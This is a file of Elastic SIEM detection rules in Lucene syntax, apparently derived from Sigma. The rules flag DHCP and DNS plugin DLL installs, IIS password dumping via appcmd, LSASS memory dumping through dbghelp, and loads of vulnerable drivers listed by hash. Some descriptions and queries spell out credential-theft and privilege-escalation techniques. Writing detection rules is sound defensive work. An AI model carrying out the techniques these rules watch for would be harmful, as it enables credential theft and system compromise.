{"description": "Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f44cb3c3-7c0b-414e-d977-67491ffcf47f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DHCP Callout DLL Installation", "query": "(winlog.event_data.EventType:\"Setvalue\" AND winlog.event_data.TargetObject:(*\\\\Services\\\\DHCPServer\\\\Parameters\\\\CalloutDlls OR *\\\\Services\\\\DHCPServer\\\\Parameters\\\\CalloutEnabled))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", "(v=ws.10).aspx", "(v=vs.85).aspx"], "timestamp_override": "event.ingested", "author": ["Dimitrios Slamaris"], "license": ""}
{"description": "Detects the Installation of a Exchange Transport Agent", "enabled": false, "false_positives": ["Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6be9502c-e9aa-0d4d-3979-01ebb51220a6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "MSExchange Transport Agent Installation", "query": "process.command_line.text:*Install\\-TransportAgent*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tobias Michalski"], "license": ""}
{"description": "Detects the Installation of a Exchange Transport Agent", "enabled": false, "false_positives": ["Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6be9502c-e9aa-0d4d-3979-01ebb51220a6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "MSExchange Transport Agent Installation", "query": "\"Install\\-TransportAgent\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tobias Michalski"], "license": ""}
{"description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "00bc937d-6ca8-649a-613a-c601b623c374", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DNS ServerLevelPluginDll Install", "query": "(process.executable.text:*\\\\dnscmd.exe AND process.command_line.text:*\\/config* AND process.command_line.text:*\\/serverlevelplugindll*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "00bc937d-6ca8-649a-613a-c601b623c374", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DNS ServerLevelPluginDll Install", "query": "winlog.event_data.TargetObject:*\\\\services\\\\DNS\\\\Parameters\\\\ServerLevelPluginDll", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "63aea690-d9bf-e4ce-14a6-1a593d841992", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "HybridConnectionManager Service Installation", "query": "(winlog.event_data.TargetObject:*\\\\Services\\\\HybridConnectionManager* OR (winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.Details:*Microsoft.HybridConnectionManager.Listener.exe*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords", "author": ["Tim Rauch", "Janantha Marasinghe"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "42c998a7-da05-c478-f547-f08da2f75ac3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Microsoft IIS Service Account Password Dumped", "query": "((((process.executable.text:*\\\\appcmd.exe) OR (winlog.event_data.OriginalFileName:\"appcmd.exe\")) AND process.command_line.text:*list\\ *) AND ((process.command_line.text:(*\\ \\/config* OR *\\ \\/xml*)) OR ((process.command_line.text:(*\\ \\/@t* OR *\\ \\/text* OR *\\ \\/show*) AND process.command_line.text:(*\\:\\\\** OR *password*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "df49cf49-0885-7b59-5d20-5a0ba0793127", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Local Privilege Escalation Indicator TabTip", "query": "(winlog.channel:\"System\" AND winlog.event_id:\"10001\" AND param1:\"C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe\" AND param2:\"2147943140\" AND param3:\"{054AAE20-4BEA-4347-8A35-64A533254A9D}\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1557"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "df49cf49-0885-7b59-5d20-5a0ba0793127", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Local Privilege Escalation Indicator TabTip", "query": "(winlog.channel:\"System\" AND winlog.event_id:\"10001\" AND param1:\"C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\microsoft\\ shared\\\\ink\\\\TabTip.exe\" AND param2:\"2147943140\" AND param3:\"\\{054AAE20\\-4BEA\\-4347\\-8A35\\-64A533254A9D\\}\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1557"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cb17843f-b8b8-deb4-a0a4-fcdd1b645a9d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Key Manager Access", "query": "(process.executable:*\\\\rundll32.exe AND process.command_line:*keymgr* AND process.command_line:*KRShowKeyMgr*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1555"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1555", "name": "Credentials from Password Stores", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only", "enabled": false, "false_positives": ["Administrators or users that actually use the selected keyboard layouts (heavily depends on the organisation's user base)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "62121b10-397a-90d3-11f2-469c8c6e5d29", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Keyboard Layout Load", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Keyboard\\ Layout\\\\Preload\\\\* OR *\\\\Keyboard\\ Layout\\\\Substitutes\\\\*) AND winlog.event_data.Details:(*00000429* OR *00050429* OR *0000042a*))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the ld.so preload persistence file. See `man ld.so` for more information.", "enabled": false, "false_positives": ["Rare temporary workaround for library misconfiguration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8ab4447d-762a-84fb-fc7c-e412862a368d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Code Injection by ld.so Preload", "query": "\"\\/etc\\/ld.so.preload\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the load of a legitimate signed driver named HW.sys by often used by threat actors or malware for privilege escalation", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a9d8755a-d7a8-ff73-9ee7-2fe6fdc99e0f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable HW Driver Load", "query": "((dll.path:*\\\\HW.sys) OR (winlog.event_data.Hashes:(*SHA256\\=4880F40F2E557CFF38100620B9AA1A3A753CB693AF16CD3D95841583EDCB57A8* OR *SHA256\\=55963284BBD5A3297F39F12F0D8A01ED99FE59D008561E3537BCD4DB4B4268FA* OR *SHA256\\=6A4875AE86131A594019DEC4ABD46AC6BA47E57A88287B814D07D929858FE3E5* OR *SHA1\\=74E4E3006B644392F5FCEA4A9BAE1D9D84714B57* OR *SHA1\\=18F34A0005E82A9A1556BA40B997B0EAE554D5FD* OR *SHA1\\=4E56E0B1D12664C05615C69697A2F5C5D893058A* OR *MD5\\=3247014BA35D406475311A2EAB0C4657* OR *MD5\\=376B1E8957227A3639EC1482900D9B97* OR *MD5\\=45C2D133D41D2732F3653ED615A745C8*)) OR (sha256:(\"4880f40f2e557cff38100620b9aa1a3a753cb693af16cd3d95841583edcb57a8\" OR \"55963284bbd5a3297f39f12f0d8a01ed99fe59d008561e3537bcd4db4b4268fa\" OR \"6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5\")) OR (sha1:(\"74e4e3006b644392f5fcea4a9bae1d9d84714b57\" OR \"18f34a0005e82a9a1556ba40b997b0eae554d5fd\" OR \"4e56e0b1d12664c05615c69697a2f5c5d893058a\")) OR (md5:(\"3247014ba35d406475311a2eab0c4657\" OR \"376b1e8957227a3639ec1482900d9b97\" OR \"45c2d133d41d2732f3653ed615a745c8\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the load of a legitimate signed driver named HW.sys by often used by threat actors or malware for privilege escalation", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a9d8755a-d7a8-ff73-9ee7-2fe6fdc99e0f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable HW Driver Load", "query": "(file.path.text:*\\\\HW.sys OR winlog.event_data.Hashes:(*SHA256\\=4880F40F2E557CFF38100620B9AA1A3A753CB693AF16CD3D95841583EDCB57A8* OR *SHA256\\=55963284BBD5A3297F39F12F0D8A01ED99FE59D008561E3537BCD4DB4B4268FA* OR *SHA256\\=6A4875AE86131A594019DEC4ABD46AC6BA47E57A88287B814D07D929858FE3E5* OR *SHA1\\=74E4E3006B644392F5FCEA4A9BAE1D9D84714B57* OR *SHA1\\=18F34A0005E82A9A1556BA40B997B0EAE554D5FD* OR *SHA1\\=4E56E0B1D12664C05615C69697A2F5C5D893058A* OR *MD5\\=3247014BA35D406475311A2EAB0C4657* OR *MD5\\=376B1E8957227A3639EC1482900D9B97* OR *MD5\\=45C2D133D41D2732F3653ED615A745C8*) OR SHA256:(\"4880f40f2e557cff38100620b9aa1a3a753cb693af16cd3d95841583edcb57a8\" OR \"55963284bbd5a3297f39f12f0d8a01ed99fe59d008561e3537bcd4db4b4268fa\" OR \"6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5\") OR SHA1:(\"74e4e3006b644392f5fcea4a9bae1d9d84714b57\" OR \"18f34a0005e82a9a1556ba40b997b0eae554d5fd\" OR \"4e56e0b1d12664c05615c69697a2f5c5d893058a\") OR MD5:(\"3247014ba35d406475311a2eab0c4657\" OR \"376b1e8957227a3639ec1482900d9b97\" OR \"45c2d133d41d2732f3653ed615a745c8\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the load of a signed and vulnerable AVAST Anti Rootkit driver often used by threat actors or malware for stopping and disabling AV and EDR products", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a0327e40-54c7-4f94-5bb7-68446eae850f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable AVAST Anti Rootkit Driver Load", "query": "((((winlog.event_data.Hashes:(*MD5\\=a179c4093d05a3e1ee73f6ff07f994aa* OR *SHA1\\=5d6b9e80e12bfc595d4d26f6afb099b3cb471dd4* OR *SHA256\\=4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1*)) OR (md5:\"a179c4093d05a3e1ee73f6ff07f994aa\") OR (sha1:\"5d6b9e80e12bfc595d4d26f6afb099b3cb471dd4\") OR (sha256:\"4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1\"))) OR ((dll.path:*\\\\aswArPot.sys AND ((Signed:\"false\") OR (SignatureStatus:\"Expired\")))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the load of a signed and vulnerable AVAST Anti Rootkit driver often used by threat actors or malware for stopping and disabling AV and EDR products", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a0327e40-54c7-4f94-5bb7-68446eae850f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable AVAST Anti Rootkit Driver Load", "query": "((winlog.event_data.Hashes:(*MD5\\=a179c4093d05a3e1ee73f6ff07f994aa* OR *SHA1\\=5d6b9e80e12bfc595d4d26f6afb099b3cb471dd4* OR *SHA256\\=4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1*) OR MD5:\"a179c4093d05a3e1ee73f6ff07f994aa\" OR SHA1:\"5d6b9e80e12bfc595d4d26f6afb099b3cb471dd4\" OR SHA256:\"4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1\") OR (dll.path:*\\\\aswArPot.sys AND (Signed:\"false\" OR SignatureStatus:\"Expired\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "744023df-43fe-a3fd-7080-83c286523582", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable GIGABYTE Driver Load", "query": "((winlog.event_data.Hashes:(*MD5\\=9AB9F3B75A2EB87FAFB1B7361BE9DFB3* OR *MD5\\=C832A4313FF082258240B61B88EFA025* OR *SHA1\\=FE10018AF723986DB50701C8532DF5ED98B17C39* OR *SHA1\\=1F1CE28C10453ACBC9D3844B4604C59C0AB0AD46* OR *SHA256\\=31F4CFB4C71DA44120752721103A16512444C13C2AC2D857A7E6F13CB679B427* OR *SHA256\\=CFC5C585DD4E592DD1A08887DED28B92D9A5820587B6F4F8FA4F56D60289259B*)) OR (md5:(\"9ab9f3b75a2eb87fafb1b7361be9dfb3\" OR \"c832a4313ff082258240b61b88efa025\")) OR (sha1:(\"fe10018af723986db50701c8532df5ed98b17c39\" OR \"1f1ce28c10453acbc9d3844b4604c59c0ab0ad46\")) OR (sha256:(\"31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427\" OR \"cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "744023df-43fe-a3fd-7080-83c286523582", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable GIGABYTE Driver Load", "query": "(winlog.event_data.Hashes:(*MD5\\=9AB9F3B75A2EB87FAFB1B7361BE9DFB3* OR *MD5\\=C832A4313FF082258240B61B88EFA025* OR *SHA1\\=FE10018AF723986DB50701C8532DF5ED98B17C39* OR *SHA1\\=1F1CE28C10453ACBC9D3844B4604C59C0AB0AD46* OR *SHA256\\=31F4CFB4C71DA44120752721103A16512444C13C2AC2D857A7E6F13CB679B427* OR *SHA256\\=CFC5C585DD4E592DD1A08887DED28B92D9A5820587B6F4F8FA4F56D60289259B*) OR MD5:(\"9ab9f3b75a2eb87fafb1b7361be9dfb3\" OR \"c832a4313ff082258240b61b88efa025\") OR SHA1:(\"fe10018af723986db50701c8532df5ed98b17c39\" OR \"1f1ce28c10453acbc9d3844b4604c59c0ab0ad46\") OR SHA256:(\"31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427\" OR \"cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "744023df-43fe-a3fd-7080-83c286523582", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable GIGABYTE Driver Load", "query": "(winlog.event_data.Hashes:(*MD5\\=9AB9F3B75A2EB87FAFB1B7361BE9DFB3* OR *SHA1\\=FE10018AF723986DB50701C8532DF5ED98B17C39* OR *SHA256\\=31F4CFB4C71DA44120752721103A16512444C13C2AC2D857A7E6F13CB679B427*) OR MD5:\"9ab9f3b75a2eb87fafb1b7361be9dfb3\" OR SHA1:\"fe10018af723986db50701c8532df5ed98b17c39\" OR SHA256:\"31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ce5e7338-16e1-c455-3716-c0c74e4b635a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable WinRing0 Driver Load", "query": "(file.path.text:(*\\\\WinRing0x64.sys OR *\\\\WinRing0.sys OR *\\\\WinRing0.dll OR *\\\\WinRing0x64.dll) OR winlog.event_data.Hashes:*IMPHASH\\=D41FA95D4642DC981F10DE36F4DC8CD7* OR IMPHASH:\"d41fa95d4642dc981f10de36f4dc8cd7\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the load of advapi31.dll by a process running in an uncommon folder", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bce74caa-06c6-563f-84a8-24489119db62", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Load of Advapi31.dll", "query": "(file.path:*\\\\advapi32.dll AND (NOT ((process.executable:(C\\:\\\\Windows\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Program\\ Files\\\\*)) OR (process.executable:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\platform\\\\* AND process.executable:*\\\\MpCmdRun.exe) OR (process.executable:C\\:\\\\Users\\\\* AND process.executable:*\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\* AND process.executable:*FileCoAuth.exe))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes. Tools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3f378223-db55-8956-3e12-211ce78a5b83", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Load of dbghelp/dbgcore DLL from Suspicious Process", "query": "(((file.path:(*\\\\dbghelp.dll OR *\\\\dbgcore.dll) AND (process.executable:(*\\\\msbuild.exe OR *\\\\cmd.exe OR *\\\\rundll32.exe OR *\\\\word.exe OR *\\\\excel.exe OR *\\\\powerpnt.exe OR *\\\\outlook.exe OR *\\\\monitoringhost.exe OR *\\\\wmic.exe OR *\\\\bash.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\mshta.exe OR *\\\\schtasks.exe OR *\\\\dnx.exe OR *\\\\regsvcs.exe OR *\\\\sc.exe OR *\\\\scriptrunner.exe) OR Signed:\"FALSE\")) AND (NOT (process.executable:*Visual\\ Studio* OR process.command_line:(*\\-k\\ LocalSystemNetworkRestricted* OR *\\-k\\ UnistackSvcGroup\\ \\-s\\ WpnUserService*)))) AND (NOT (process.command_line:(\"C\\:\\\\WINDOWS\\\\winsxs\\*\\\\TiWorker.exe\\ \\-Embedding\" OR \"C\\:\\\\Windows\\\\system32\\\\svchost.exe\\ \\-k\\ netsvcs\\ \\-p\\ \\-s\\ wuauserv\" OR \"C\\:\\\\Windows\\\\System32\\\\svchost.exe\\ \\-k\\ WerSvcGroup\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Perez Diego (@darkquassar)", "oscd.community", "Ecco"], "license": ""}
{"description": "Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes. Tools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3f378223-db55-8956-3e12-211ce78a5b83", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Load of dbghelp/dbgcore DLL from Suspicious Process", "query": "((dll.path:(*\\\\dbghelp.dll OR *\\\\dbgcore.dll) AND (process.executable.text:(*\\\\msbuild.exe OR *\\\\cmd.exe OR *\\\\rundll32.exe OR *\\\\word.exe OR *\\\\excel.exe OR *\\\\powerpnt.exe OR *\\\\outlook.exe OR *\\\\monitoringhost.exe OR *\\\\wmic.exe OR *\\\\bash.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\mshta.exe OR *\\\\dnx.exe OR *\\\\regsvcs.exe OR *\\\\sc.exe OR *\\\\scriptrunner.exe) OR Signed:\"FALSE\")) AND (NOT ((process.executable.text:*Visual\\ Studio* OR process.command_line.text:(*\\-k\\ LocalSystemNetworkRestricted* OR *\\-k\\ UnistackSvcGroup\\ 